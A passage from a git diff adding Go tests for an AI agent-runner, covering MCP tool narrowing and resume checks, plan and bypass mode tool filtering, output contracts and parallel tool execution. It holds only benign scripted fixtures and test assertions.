run_ended, the fold is ended with nothing in flight. + got, _ := os.ReadFile(filepath.Join(root, "greet.txt")) + if string(got) != "HELLO WORLD" { + t.Errorf("file = %q", got) + } + events, err := store.ReadEvents(sessDir) + if err != nil { + t.Fatal(err) + } + for i, e := range events { + if e.Seq != int64(i+1) { + t.Fatalf("seq gap at %d: %d", i, e.Seq) + } + } + if last := events[len(events)-1]; last.Type != event.TypeRunEnded { + t.Errorf("last event = %s", last.Type) + } + final, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if final.Run.Status != state.StatusEnded || len(final.Activities) != 0 { + t.Errorf("final fold: status=%s in-flight=%v", final.Run.Status, final.Activities) + } + }) + } +} + +func matrixSpec() *AgentSpec { + return &AgentSpec{ + Name: "matrix", + Model: ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "be precise", + Tools: []string{"read_file", "edit_file"}, + MaxTurns: 5, + } +} + +func matrixFixture(kind string) scripted.Fixture { + // One tool per turn keeps every activity strictly sequential, so the + // crash-point counter is deterministic even after S4.3's concurrent + // same-turn execution (TestParallelToolCalls covers that path). + turn1 := scripted.Step{Respond: []scripted.Event{ + {Text: "reading first"}, + {ToolCall: &scripted.ToolCallEvent{Name: "read_file", Args: map[string]any{"path": "greet.txt"}}}, + {Finish: "tool_use"}, + }} + turn2 := scripted.Step{Respond: []scripted.Event{ + {Text: "now editing"}, + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "greet.txt", "old": "hello world", "new": "HELLO WORLD"}}}, + {Finish: "tool_use"}, + }} + turn3 := scripted.Step{Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}} + switch kind { + case "full": + return scripted.Fixture{Steps: []scripted.Step{turn1, turn2, turn3}} + case "fromT2": + return scripted.Fixture{Steps: []scripted.Step{turn2, turn3}} + case "fromT3": + return scripted.Fixture{Steps: []scripted.Step{turn3}} + default: + return scripted.Fixture{} + } +} + +func helperMatrixRun() { + es, err := store.OpenEventStore(os.Getenv("CRASH_SESS_DIR")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + ws, err := workspace.New(os.Getenv("CRASH_WS")) + if err != nil { + fmt.Println("helper:", err) + os.Exit(1) + } + l := &Loop{ + Spec: matrixSpec(), + Provider: scripted.New(matrixFixture("full")), + Exec: &tool.Executor{WS: ws}, + Store: es, + SessionID: "matrix", + } + _, _ = l.Run(context.Background(), "make it loud") + fmt.Println("UNREACHABLE: predicate did not fire") + os.Exit(0) +} diff --git a/internal/agent/mcp_integration_test.go b/internal/agent/mcp_integration_test.go new file mode 100644 index 0000000..6c992ee --- /dev/null +++ b/internal/agent/mcp_integration_test.go @@ -0,0 +1,329 @@ +package agent + +import ( + "context" + "encoding/json" + "fmt" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/mcp" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// fakeMCP implements MCPManager with the same allowed-narrowing semantics as +// mcp.Manager, without live transports. +type fakeMCP struct { + tools []mcp.DiscoveredTool + allowed map[string]bool + calls []string +} + +func (f *fakeMCP) SetAllowed(names []string) { + if len(names) == 0 { + f.allowed = nil + return + } + f.allowed = map[string]bool{} + for _, n := range names { + f.allowed[n] = true + } +} + +func (f *fakeMCP) isAllowed(name string) bool { return f.allowed == nil || f.allowed[name] } + +func (f *fakeMCP) Discover(context.Context) ([]mcp.DiscoveredTool, error) { + var out []mcp.DiscoveredTool + for _, t := range f.tools { + if f.isAllowed(t.Name) { + out = append(out, t) + } + } + return out, nil +} + +func (f *fakeMCP) Call(_ context.Context, qualified string, _ json.RawMessage) (json.RawMessage, bool, error) { + if !f.isAllowed(qualified) { + return nil, false, fmt.Errorf("mcp: tool %q not permitted", qualified) + } + f.calls = append(f.calls, qualified) + return json.RawMessage(`{"content":"peeked"}`), false, nil +} + +func demoTools() []mcp.DiscoveredTool { + return []mcp.DiscoveredTool{ + {Server: "demo", Tool: "peek", Name: "mcp__demo__peek", Description: "read-only peek", + Class: "read", InputSchema: json.RawMessage(`{"type":"object"}`)}, + {Server: "demo", Tool: "run", Name: "mcp__demo__run", Description: "untagged", + Class: "execute", InputSchema: json.RawMessage(`{"type":"object"}`)}, + } +} + +func mcpLoop(t *testing.T, fix scripted.Fixture, face *fakeMCP) (*Loop, *capturingProvider) { + t.Helper() + ws, err := workspace.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + cap := &capturingProvider{inner: scripted.New(fix)} + return &Loop{ + Spec: &AgentSpec{ + Name: "mcp-test", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100}, + Tools: []string{"read_file"}, + MaxTurns: 5, + }, + Provider: cap, + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)), + SessionID: "mcp-sess", + MCP: face, + }, cap +} + +// S5.1 e2e: discovery is journaled, the MCP tool is advertised alongside +// built-ins, a model call dispatches to the MCP face, and the result enters +// the fold like any tool result. +func TestMCPToolEndToEnd(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "m1", Name: "mcp__demo__peek", + Args: map[string]any{}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + face := &fakeMCP{tools: demoTools()} + l, cap := mcpLoop(t, fix, face) + + res, err := l.Run(context.Background(), "peek please") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + if len(face.calls) != 1 || face.calls[0] != "mcp__demo__peek" { + t.Errorf("mcp calls = %v", face.calls) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var discovered *event.ToolsDiscovered + for _, e := range events { + if e.Type == event.TypeToolsDiscovered { + dec, derr := event.DecodePayload(e) + if derr != nil { + t.Fatal(derr) + } + discovered = dec.(*event.ToolsDiscovered) + } + } + if discovered == nil || discovered.Server != "demo" || len(discovered.Tools) != 2 { + t.Fatalf("tools_discovered = %+v", discovered) + } + + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr, ok := fold.Conversation.ToolResults["m1"] + if !ok || tr.IsError || !strings.Contains(string(tr.Result), "peeked") { + t.Errorf("tool result = %+v", tr) + } + + // Both requests advertised the MCP tools next to the built-in. + var names []string + for _, td := range cap.requests[0].Tools { + names = append(names, td.Name) + } + joined := strings.Join(names, ",") + for _, want := range []string{"read_file", "mcp__demo__peek", "mcp__demo__run"} { + if !strings.Contains(joined, want) { + t.Errorf("advertised face missing %s: %v", want, names) + } + } +} + +// S5.1 negative: allowed_tools narrows the face — the excluded tool is not +// advertised, not journaled, and a fabricated call to it fails (defense in +// depth at the manager) as a model-visible error while the run continues. +func TestMCPAllowedToolsNarrowing(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "m1", Name: "mcp__demo__run", + Args: map[string]any{}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "understood"}, {Finish: "end_turn"}}}, + }} + face := &fakeMCP{tools: demoTools()} + l, cap := mcpLoop(t, fix, face) + l.Spec.AllowedTools = []string{"mcp__demo__peek"} + + res, err := l.Run(context.Background(), "try the excluded tool") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v (a rejected MCP call is model-visible, not fatal)", res) + } + if len(face.calls) != 0 { + t.Errorf("narrowed-out tool must never execute: %v", face.calls) + } + + // Not advertised… + for _, td := range cap.requests[0].Tools { + if td.Name == "mcp__demo__run" { + t.Errorf("excluded tool advertised: %v", td) + } + } + // …and the fabricated call resolved as an error result in the fold. + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr, ok := fold.Conversation.ToolResults["m1"] + if !ok || !tr.IsError { + t.Errorf("fabricated call result = %+v, want model-visible error", tr) + } + if len(fold.Run.MCPTools) != 1 || fold.Run.MCPTools[0].Name != "mcp__demo__peek" { + t.Errorf("journaled face = %+v, want only peek", fold.Run.MCPTools) + } +} + +// S5.1: plan mode hides the execute-class MCP tool from the advertised face +// while the read-class one stays visible (same mode filter as built-ins). +func TestMCPAdvertisedFaceRespectsMode(t *testing.T) { + s := state.New() + s = mustApply(t, s, event.TypeRunStarted, &event.RunStarted{SubStateVersions: state.SubStateVersions()}) + s = mustApply(t, s, event.TypeToolsDiscovered, &event.ToolsDiscovered{ + Server: "demo", Tools: []event.MCPToolDef{ + {Server: "demo", Name: "mcp__demo__peek", Class: "read"}, + {Server: "demo", Name: "mcp__demo__run", Class: "execute"}, + }}) + s = mustApply(t, s, event.TypeModeChanged, &event.ModeChanged{To: pipeline.ModePlan, Cause: "test"}) + + defs := []provider.ToolDef{{Name: "mcp__demo__peek"}, {Name: "mcp__demo__run"}} + out := advertisedTools(s, defs, s.CurrentMode()) + var names []string + for _, d := range out { + names = append(names, d.Name) + } + joined := strings.Join(names, ",") + if !strings.Contains(joined, "mcp__demo__peek") { + t.Errorf("read-class MCP tool should stay advertised in plan mode: %v", names) + } + if strings.Contains(joined, "mcp__demo__run") { + t.Errorf("execute-class MCP tool must be hidden in plan mode: %v", names) + } +} + +// S5.1 resume: the journaled face is the truth — a live server whose schema +// drifted, a missing tool, or no manager at all refuses the resume. +func TestMCPResumeReconcile(t *testing.T) { + journal := func(t *testing.T) *store.EventStore { + t.Helper() + es, err := store.OpenEventStore(filepath.Join(t.TempDir(), "sess")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = es.Close() }) + for _, e := range []struct { + typ string + payload any + }{ + {event.TypeRunStarted, &event.RunStarted{SpecName: "mcp-test", Task: "go", + SubStateVersions: state.SubStateVersions()}}, + {event.TypeInputReceived, &event.InputReceived{Text: "go", Source: "cli"}}, + {event.TypeToolsDiscovered, &event.ToolsDiscovered{Server: "demo", + Tools: []event.MCPToolDef{{Server: "demo", Name: "mcp__demo__peek", + Class: "read", InputSchema: json.RawMessage(`{"type":"object"}`)}}}}, + } { + env, err := event.New(e.typ, e.payload) + if err != nil { + t.Fatal(err) + } + if _, err := es.Append(env); err != nil { + t.Fatal(err) + } + } + return es + } + + // face is the interface, not *fakeMCP: a typed-nil pointer would make + // l.MCP != nil and dodge the no-manager branch. + resume := func(t *testing.T, face MCPManager) error { + t.Helper() + es := journal(t) + ws, err := workspace.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "hello"}, {Finish: "end_turn"}}}, + }} + l := &Loop{ + Spec: &AgentSpec{Name: "mcp-test", + Model: ModelSpec{Provider: "scripted", ID: "m", MaxTokens: 100}, MaxTurns: 3}, + Provider: scripted.New(fix), + Exec: &tool.Executor{WS: ws}, + Store: es, + Clock: clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)), + SessionID: "mcp-sess", + MCP: face, + } + _, err = l.Resume(context.Background()) + return err + } + + t.Run("matching face resumes", func(t *testing.T) { + face := &fakeMCP{tools: []mcp.DiscoveredTool{{Server: "demo", Tool: "peek", + Name: "mcp__demo__peek", Class: "read", InputSchema: json.RawMessage(`{"type":"object"}`)}}} + if err := resume(t, face); err != nil { + t.Fatalf("matching face must resume: %v", err) + } + }) + t.Run("schema drift refused", func(t *testing.T) { + face := &fakeMCP{tools: []mcp.DiscoveredTool{{Server: "demo", Tool: "peek", + Name: "mcp__demo__peek", Class: "read", InputSchema: json.RawMessage(`{"type":"object","properties":{"x":{}}}`)}}} + err := resume(t, face) + if err == nil || !strings.Contains(err.Error(), "schema drifted") { + t.Fatalf("err = %v, want schema drift refusal", err) + } + }) + t.Run("missing tool refused", func(t *testing.T) { + err := resume(t, &fakeMCP{}) + if err == nil || !strings.Contains(err.Error(), "not offered") { + t.Fatalf("err = %v, want missing-tool refusal", err) + } + }) + t.Run("no manager refused", func(t *testing.T) { + err := resume(t, nil) + if err == nil || !strings.Contains(err.Error(), "no MCP servers") { + t.Fatalf("err = %v, want no-manager refusal", err) + } + }) +} diff --git a/internal/agent/mode.go b/internal/agent/mode.go new file mode 100644 index 0000000..992542b --- /dev/null +++ b/internal/agent/mode.go @@ -0,0 +1,17 @@ +package agent + +import ( + "github.com/ralphite/agentrunner/internal/pipeline" +) + +// modePromptSuffix is the 3.6b injection: appended to the system prompt's +// tail. S4.4a folds this into the assembly pipeline (declared planned +// migration in PLAN). +func modePromptSuffix(mode string) string { + if mode == pipeline.ModePlan { + return "\n\nYou are in PLAN MODE: read and analyze only. Editing and " + + "executing tools are unavailable. When your plan is ready, call " + + "exit_plan_mode with a summary to request approval to proceed." + } + return "" +} diff --git a/internal/agent/mode_test.go b/internal/agent/mode_test.go new file mode 100644 index 0000000..4c2e751 --- /dev/null +++ b/internal/agent/mode_test.go @@ -0,0 +1,205 @@ +package agent + +import ( + "context" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// 3.6a: the tool-face filter table, every mode × class. +func TestAdvertisedToolsByMode(t *testing.T) { + defs := []provider.ToolDef{ + {Name: "read_file"}, {Name: "edit_file"}, {Name: "bash"}, {Name: "exit_plan_mode"}, + } + names := func(ds []provider.ToolDef) []string { + var out []string + for _, d := range ds { + out = append(out, d.Name) + } + return out + } + cases := []struct { + mode string + want []string + }{ + {pipeline.ModePlan, []string{"read_file", "exit_plan_mode"}}, + {pipeline.ModeDefault, []string{"read_file", "edit_file", "bash", "exit_plan_mode"}}, + {pipeline.ModeAcceptEdits, []string{"read_file", "edit_file", "bash", "exit_plan_mode"}}, + {pipeline.ModeBypass, []string{"read_file", "edit_file", "bash", "exit_plan_mode"}}, + } + for _, tc := range cases { + if got := names(advertisedTools(state.New(), defs, tc.mode)); !equal(got, tc.want) { + t.Errorf("%s: advertised = %v, want %v", tc.mode, got, tc.want) + } + } +} + +// 3.6c: the transition rule table. +func TestModeTransitionTable(t *testing.T) { + allowed := [][2]string{ + {pipeline.ModePlan, pipeline.ModeDefault}, + {pipeline.ModeDefault, pipeline.ModeAcceptEdits}, + {pipeline.ModeAcceptEdits, pipeline.ModeDefault}, + } + denied := [][2]string{ + {pipeline.ModeDefault, pipeline.ModePlan}, + {pipeline.ModeDefault, pipeline.ModeBypass}, + {pipeline.ModePlan, pipeline.ModeBypass}, + {pipeline.ModeBypass, pipeline.ModeDefault}, + } + for _, tr := range allowed { + if !pipeline.ValidTransition(tr[0], tr[1]) { + t.Errorf("%s → %s must be allowed", tr[0], tr[1]) + } + } + for _, tr := range denied { + if pipeline.ValidTransition(tr[0], tr[1]) { + t.Errorf("%s → %s must be denied", tr[0], tr[1]) + } + } +} + +// 3.6b + 3.6c integration: a plan-mode run sees the filtered face and the +// injected prompt; an approved exit_plan_mode switches to default and the +// next turn sees the full face without the suffix. +func TestPlanModeFullFlow(t *testing.T) { + t.Setenv("AGENTRUNNER_APPROVE", "always") + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "plan ready"}, + {ToolCall: &scripted.ToolCallEvent{Name: "exit_plan_mode", + Args: map[string]any{"plan": "edit greet.txt"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + + inner := scripted.New(fix) + cap := &capturingProvider{inner: inner} + l := testLoop(t, fix, t.TempDir()) + l.Provider = cap + l.Spec.Tools = []string{"read_file", "edit_file", "bash", "exit_plan_mode"} + l.Mode = pipeline.ModePlan + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + &pipeline.PermissionGate{}, // mode flows in via the effect + }} + + res, err := l.Run(context.Background(), "figure out a plan") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + + // Turn 1 (plan): filtered face + injected suffix. + req1 := cap.requests[0] + if !strings.Contains(req1.System, "PLAN MODE") { + t.Errorf("turn 1 system prompt missing plan suffix: %q", req1.System) + } + for _, td := range req1.Tools { + if td.Name == "edit_file" || td.Name == "bash" { + t.Errorf("turn 1 advertises %s in plan mode", td.Name) + } + } + + // Turn 2 (default after approved transition): full face, no suffix. + req2 := cap.requests[1] + if strings.Contains(req2.System, "PLAN MODE") { + t.Errorf("turn 2 still carries plan suffix") + } + var sawEdit bool + for _, td := range req2.Tools { + if td.Name == "edit_file" { + sawEdit = true + } + } + if !sawEdit { + t.Errorf("turn 2 face still filtered: %+v", req2.Tools) + } + + // The transition is durable and ATOMIC: it is folded from + // exit_plan_mode's OWN completion (no separate mode_changed event that + // could be lost in a crash between the two). Fold the log independently + // and confirm the mode landed at default. + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + final, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + if final.CurrentMode() != "default" { + t.Fatalf("mode after exit_plan_mode = %q, want default", final.CurrentMode()) + } +} + +// Denied exit_plan_mode keeps the run in plan mode. +func TestExitPlanModeDeniedStaysInPlan(t *testing.T) { + t.Setenv("AGENTRUNNER_APPROVE", "never") + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "exit_plan_mode", Args: map[string]any{"plan": "x"}}}, + {Finish: "tool_use"}, + }}, + { + Expect: scripted.Expect{LastMessageContains: "denied"}, + Respond: []scripted.Event{{Text: "staying in plan"}, {Finish: "end_turn"}}, + }, + }} + cap := &capturingProvider{inner: scripted.New(fix)} + l := testLoop(t, fix, t.TempDir()) + l.Provider = cap + l.Spec.Tools = []string{"read_file", "exit_plan_mode"} + l.Mode = pipeline.ModePlan + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{&pipeline.PermissionGate{}}} + + if _, err := l.Run(context.Background(), "plan"); err != nil { + t.Fatal(err) + } + // Turn 2 still in plan mode: suffix present. + if !strings.Contains(cap.requests[1].System, "PLAN MODE") { + t.Fatal("denied exit must keep plan mode") + } +} + +// 3.6d: bypass skips permission restrictions but hooks STILL run. +func TestBypassRunsHooksButSkipsPermission(t *testing.T) { + hookRan := false + recordingHook := policyGate{name: "hooks", check: func(pipeline.Effect) pipeline.Decision { + hookRan = true + return pipeline.Allow + }} + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "a.txt", "old": "", "new": "x"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "ok"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Mode = pipeline.ModeBypass + l.Pipeline = &pipeline.Pipeline{Gates: []pipeline.Gate{ + recordingHook, + &pipeline.PermissionGate{}, // default mode would ask for edit; bypass allows + }} + + res, err := l.Run(context.Background(), "edit without asking") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + if !hookRan { + t.Fatal("bypass must NOT skip hooks") + } +} diff --git a/internal/agent/outputs_test.go b/internal/agent/outputs_test.go new file mode 100644 index 0000000..bff19c7 --- /dev/null +++ b/internal/agent/outputs_test.go @@ -0,0 +1,178 @@ +package agent + +import ( + "context" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// S5.6: a declared output with a workspace path is AUTO-published by the +// epilogue when the run didn't publish it explicitly; the fact carries +// source=epilogue and the ref resolves. +func TestOutputsAutoPublishFromWorkspaceFile(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "bash", + Args: map[string]any{"command": "echo 'the findings' > report.md"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.Outputs = []OutputSpec{{Name: "report", Path: "report.md", Required: true}} + + res, err := l.Run(context.Background(), "write the report file") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v (contract satisfied via auto-publish)", res) + } + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + var pub *event.ArtifactPublished + for _, e := range events { + if e.Type == event.TypeArtifactPublished { + dec, _ := event.DecodePayload(e) + pub = dec.(*event.ArtifactPublished) + } + } + if pub == nil || pub.Stream != "report" || pub.Source != "epilogue" { + t.Fatalf("artifact_published = %+v, want epilogue-sourced report", pub) + } + content, err := l.Artifacts.Get(pub.Ref) + if err != nil || !strings.Contains(string(content), "the findings") { + t.Fatalf("auto-published content = %q, %v", content, err) + } + // The fact precedes run_ended (the epilogue slot runs before the + // terminal event). + if last := events[len(events)-1]; last.Type != event.TypeRunEnded { + t.Errorf("last event = %s", last.Type) + } +} + +// S5.6: an explicit publish during the run satisfies the contract — the +// epilogue does not double-publish. +func TestOutputsExplicitPublishSatisfies(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "a1", Name: "publish_artifact", + Args: map[string]any{"stream": "report", "content": "published by hand"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.Tools = append(l.Spec.Tools, "publish_artifact") + l.Spec.Outputs = []OutputSpec{{Name: "report", Required: true}} + + res, err := l.Run(context.Background(), "publish it yourself") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("res = %+v", res) + } + events, _ := store.ReadEvents(l.Store.Dir()) + count := 0 + for _, e := range events { + if e.Type == event.TypeArtifactPublished { + count++ + } + } + if count != 1 { + t.Errorf("published facts = %d, want 1 (no epilogue double-publish)", count) + } +} + +// S5.6: a missing required output downgrades the ending to +// contract_violation, with a user-visible error. +func TestOutputsMissingRequiredViolatesContract(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "forgot the deliverable"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + l.Spec.Outputs = []OutputSpec{{Name: "report", Path: "report.md", Required: true}} + sink := &captureSink{} + l.Out = sink + + res, err := l.Run(context.Background(), "do it") + if err != nil { + t.Fatal(err) + } + if res.Reason != "contract_violation" { + t.Fatalf("res = %+v, want contract_violation", res) + } + if countKind(sink, "error") != 1 { + t.Errorf("expected one user-visible error") + } + events, _ := store.ReadEvents(l.Store.Dir()) + last := events[len(events)-1] + if last.Type != event.TypeRunEnded || !strings.Contains(string(last.Payload), "contract_violation") { + t.Errorf("last = %s %s", last.Type, last.Payload) + } + // An OPTIONAL missing output does not violate. + fix2 := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{{Text: "no outputs"}, {Finish: "end_turn"}}}, + }} + l2 := testLoop(t, fix2, t.TempDir()) + l2.Spec.Outputs = []OutputSpec{{Name: "notes", Path: "notes.md"}} + res2, err := l2.Run(context.Background(), "go") + if err != nil || res2.Reason != "completed" { + t.Fatalf("optional missing output must not violate: %+v, %v", res2, err) + } +} + +// S5.6: a contract-violating CHILD renders as the parent's error result — +// the parent's loop continues and reacts. +func TestOutputsChildViolationIsParentError(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "s1", Name: "spawn_agent", + Args: map[string]any{"agent": "summarizer", "task": "produce the report"}}}, + {Finish: "tool_use"}, + }}, + // Child ends without its required output. + {Respond: []scripted.Event{{Text: "did some thinking, no file"}, {Finish: "end_turn"}}}, + // Parent reacts to the error result and completes. + {Respond: []scripted.Event{{Text: "delegation failed, wrapping up"}, {Finish: "end_turn"}}}, + }} + l, _ := spawnLoop(t, fix, t.TempDir()) + child := summarizerSpec() + child.Outputs = []OutputSpec{{Name: "report", Path: "report.md", Required: true}} + l.SubSpecs = staticResolver(map[string]*AgentSpec{"summarizer": child}) + + res, err := l.Run(context.Background(), "delegate") + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" { + t.Fatalf("parent res = %+v (loop must continue past the violation)", res) + } + events, _ := store.ReadEvents(l.Store.Dir()) + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + tr := fold.Conversation.ToolResults["s1"] + if !tr.IsError || !strings.Contains(string(tr.Result), "contract_violation") { + t.Errorf("spawn result = %+v, want error carrying contract_violation", tr) + } + // The child's own journal ends with the downgraded reason. + childEvents, err := store.ReadEvents(filepath.Join(l.Store.Dir(), "sub", "s1-a1")) + if err != nil { + t.Fatal(err) + } + childFold, _ := state.Fold(childEvents) + if childFold.Run.Reason != "contract_violation" { + t.Errorf("child reason = %q", childFold.Run.Reason) + } +} diff --git a/internal/agent/parallel_test.go b/internal/agent/parallel_test.go new file mode 100644 index 0000000..295c097 --- /dev/null +++ b/internal/agent/parallel_test.go @@ -0,0 +1,216 @@ +package agent + +import ( + "context" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/state" + "github.com/ralphite/agentrunner/internal/store" +) + +// S4.3: the allow-verdict tool calls of ONE assistant turn execute +// concurrently. Three ~300ms sleeps finish in ~one sleep run concurrently, +// ~three run serially — the wall-clock is the proof. +func TestParallelToolCalls(t *testing.T) { + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "three at once"}, + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "bash", + Args: map[string]any{"command": "sleep 0.3; echo one"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "c2", Name: "bash", + Args: map[string]any{"command": "sleep 0.3; echo two"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "c3", Name: "bash", + Args: map[string]any{"command": "sleep 0.3; echo three"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "all done"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + + start := time.Now() + res, err := l.Run(context.Background(), "run three") + elapsed := time.Since(start) + if err != nil { + t.Fatal(err) + } + if res.Reason != "completed" || res.Turns != 2 { + t.Fatalf("res = %+v", res) + } + // Serial would be ~900ms; concurrent ~300ms. Generous ceiling for CI. + if elapsed > 700*time.Millisecond { + t.Errorf("elapsed %v — tool calls ran serially, not concurrently", elapsed) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + fold, err := state.Fold(events) + if err != nil { + t.Fatal(err) + } + for _, id := range []string{"c1", "c2", "c3"} { + tr, ok := fold.Conversation.ToolResults[id] + if !ok { + t.Errorf("no tool result for %s", id) + continue + } + if tr.IsError { + t.Errorf("%s errored: %s", id, tr.Result) + } + } +} + +// S4.3: terminal events land in ARRIVAL order (whoever finishes first), but +// results are keyed by call_id in the fold — so the fast call journals its +// completion first even though it was issued last, and assembly still reads +// them back in the assistant message's call order. +func TestParallelToolArrivalOrder(t *testing.T) { + // Issue order c1, c2, c3; finish order c2 (0.1s), c3 (0.3s), c1 (0.5s). + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "bash", + Args: map[string]any{"command": "sleep 0.5; echo slow"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "c2", Name: "bash", + Args: map[string]any{"command": "sleep 0.1; echo fast"}}}, + {ToolCall: &scripted.ToolCallEvent{CallID: "c3", Name: "bash", + Args: map[string]any{"command": "sleep 0.3; echo mid"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "ok"}, {Finish: "end_turn"}}}, + }} + l := testLoop(t, fix, t.TempDir()) + if _, err := l.Run(context.Background(), "stagger"); err != nil { + t.Fatal(err) + } + + events, err := store.ReadEvents(l.Store.Dir()) + if err != nil { + t.Fatal(err) + } + // Journal order of tool completions must follow FINISH time, not issue + // order — the concurrent activities race to the single serialized append. + var completedOrder []string + for _, e := range events { + if e.Type != event.TypeActivityCompleted { + continue + } + dec, err := event.DecodePayload(e) + if err != nil { + t.Fatal(err) + } + id := dec.(*event.ActivityCompleted).ActivityID + if strings.HasPrefix(id, "tool-") { + completedOrder = append(completedOrder, strings.TrimPrefix(id, "tool-")) + } + } + if want := []string{"c2", "c3", "c1"}; !equalStrings(completedOrder, want) { + t.Errorf("completion (arrival) order = %v, want %v", completedOrder, want) + } + 